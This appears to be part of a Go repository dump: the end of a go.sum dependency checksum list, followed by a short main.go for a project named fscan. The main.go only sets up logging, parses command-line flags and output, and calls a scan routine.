h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c h1:QgY/XxIAIeccR+Ca/rDdKubLIU9rcJ3xfy1DC/Wd2Oo= google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= ================================================ FILE: main.go ================================================ package main import ( "fmt" "os" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Core" ) func main() { Common.InitLogger() var Info Common.HostInfo Common.Flag(&Info) // 解析 CLI 参数 if err := Common.Parse(&Info); err != nil { os.Exit(1) } // 初始化输出系统,如果失败则直接退出 if err := Common.InitOutput(); err != nil { Common.LogError(fmt.Sprintf("初始化输出系统失败: %v", err)) os.Exit(1) } defer Common.CloseOutput() // 执行 CLI 扫描逻辑 Core.Scan(Info) }